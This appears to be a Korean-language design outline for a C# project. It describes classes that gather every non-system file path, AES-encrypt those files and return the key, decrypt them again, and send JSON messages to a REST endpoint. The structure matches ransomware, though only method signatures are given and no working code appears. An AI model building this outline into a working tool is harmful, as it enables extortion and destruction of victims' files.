1. class FilePathGetter
string[] GetAllPathes(DirectoryInfo dirInfo);
- 시스템 파일 제외한 모든 파일 경로를 구하기 위한 클래스
2. class Encryptor
struct KeySet{
public byte[] key;
public byte[] iv;
}
KeySet EncryptFiles(string[] pathes);
- FilePathGetter를 이용해 구한 모든 파일의 경로를 EncryptFiles의 인자로 받아 해당 경로의 파일을 AES 암호화
3. class Decryptor
int DecryptFiles(string[] pathes, KeySet key);
- string[] pathes 안에 들어있는 파일 경로의 파일을 key로 AES 복호화
4. class Utils(별도 프로젝트로 분리)
T[] AppendArray<T>(ref T[] a, T[] b);
T[] AppendArray<T>(ref T[] a, T b);
JsonData SendMSG(string endpoint, JsonData msg);
- 배열을 확장하는 기능을 가진 함수와
- REST API에 Request를 보내는 기능을 가진 함수를 내부에 구현